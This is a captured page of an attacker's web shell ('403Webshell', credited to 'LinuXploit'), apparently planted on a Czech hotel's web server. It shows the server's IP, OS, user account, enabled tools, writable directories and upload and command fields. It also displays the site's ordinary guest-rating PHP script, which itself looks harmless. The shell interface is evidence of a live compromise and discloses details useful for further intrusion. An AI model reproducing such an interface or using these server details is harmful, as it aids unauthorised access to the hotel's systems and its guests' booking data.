403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotel_jservices_cz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotel_jservices_cz/hodnoceni.php
<?php
// ============================================================
//  Hotel DEMO — hodnoceni.php
//  Zákazník klikne na hvězdičku v e-mailu
// ============================================================
require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';

$token     = trim($_GET['token'] ?? '');
$hvezdicky = (int)($_GET['h'] ?? 0);
$chyba     = '';
$hotovo    = false;
$jmeno     = '';

if (!$token || $hvezdicky < 1 || $hvezdicky > 5) {
    $chyba = 'Neplatný odkaz.';
} else {
    $rez = db_row(
        "SELECT id, jmeno, datum_odjezdu, stav FROM rezervace WHERE token_zmena = ?",
        [$token]
    );
    if (!$rez) {
        $chyba = 'Neplatný nebo expirovaný odkaz.';
    } elseif ($rez['stav'] === 'zrusena') {
        $chyba = 'Hodnocení nelze odeslat pro zrušenou rezervaci.';
    } elseif ($rez['datum_odjezdu'] > date('Y-m-d')) {
        $chyba = 'Hodnocení lze odeslat až po skončení pobytu.';
    } elseif (db_val('SELECT 1 FROM hodnoceni WHERE rezervace_id = ?', [$rez['id']])) {
        $chyba = 'Tato rezervace již byla hodnocena. Děkujeme!';
        $hotovo = true;
    } else {
        db_insert('INSERT INTO hodnoceni (rezervace_id, hvezdicky) VALUES (?, ?)',
            [$rez['id'], $hvezdicky]);
        $jmeno  = $rez['jmeno'];
        $hotovo = true;
    }
}

$hotel = nastaveni('hotel_nazev', 'Hotel DEMO');
$hvezdickyText = ['', 'Špatný', 'Podprůměrný', 'Průměrný', 'Dobrý', 'Výborný'];
?>
<!DOCTYPE html>
<html lang="cs">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hodnocení pobytu — <?= htmlspecialchars($hotel) ?></title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:Arial,sans-serif;background:#f8fafc;color:#1e293b;min-height:100vh;display:flex;flex-direction:column;align-items:center;justify-content:center;padding:24px}
.card{background:#fff;border:1px solid #e2e8f0;border-radius:12px;padding:40px 32px;max-width:440px;width:100%;text-align:center;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.logo{font-size:15px;font-weight:600;color:#2563eb;margin-bottom:24px}
.ikona{font-size:48px;margin-bottom:16px}
h1{font-size:22px;font-weight:600;margin-bottom:8px}
p{font-size:14px;color:#64748b;line-height:1.6;margin-bottom:16px}
.hvezdicky{font-size:48px;color:#f59e0b;letter-spacing:4px;margin:16px 0}
.hodnoceni-text{font-size:16px;font-weight:500;color:#1e293b;margin-bottom:4px}
.alert-error{background:#fee2e2;color:#991b1b;border:1px solid #fecaca;border-radius:8px;padding:12px 14px;font-size:13px}
.btn{display:inline-block;padding:11px 24px;border-radius:8px;font-size:14px;font-weight:500;background:#f1f5f9;color:#475569;text-decoration:none;margin-top:16px}
.btn:hover{background:#e2e8f0}
</style>
</head>
<body>
<div class="card">
  <div class="logo"><?= htmlspecialchars($hotel) ?></div>

  <?php if ($hotovo && !$chyba): ?>
    <div class="ikona">🙏</div>
    <h1>Děkujeme<?= $jmeno ? ', ' . htmlspecialchars($jmeno) : '' ?>!</h1>
    <div class="hvezdicky"><?= str_repeat('★', $hvezdicky) . str_repeat('☆', 5 - $hvezdicky) ?></div>
    <div class="hodnoceni-text"><?= $hvezdickyText[$hvezdicky] ?></div>
    <p>Vaše hodnocení bylo uloženo. Pomáhá nám neustále zlepšovat naše služby.</p>
    <a href="<?= BASE_URL ?>" class="btn">Zpět na hlavní stránku</a>

  <?php elseif ($chyba && $hotovo): ?>
    <div class="ikona">✓</div>
    <h1>Hodnocení již odesláno</h1>
    <p>Tato rezervace již byla hodnocena. Děkujeme za Vaši zpětnou vazbu!</p>
    <a href="<?= BASE_URL ?>" class="btn">Zpět na hlavní stránku</a>

  <?php else: ?>
    <div class="ikona">⚠️</div>
    <h1>Něco se pokazilo</h1>
    <div class="alert-error"><?= htmlspecialchars($chyba) ?></div>
    <a href="<?= BASE_URL ?>" class="btn">Zpět na hlavní stránku</a>
  <?php endif; ?>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit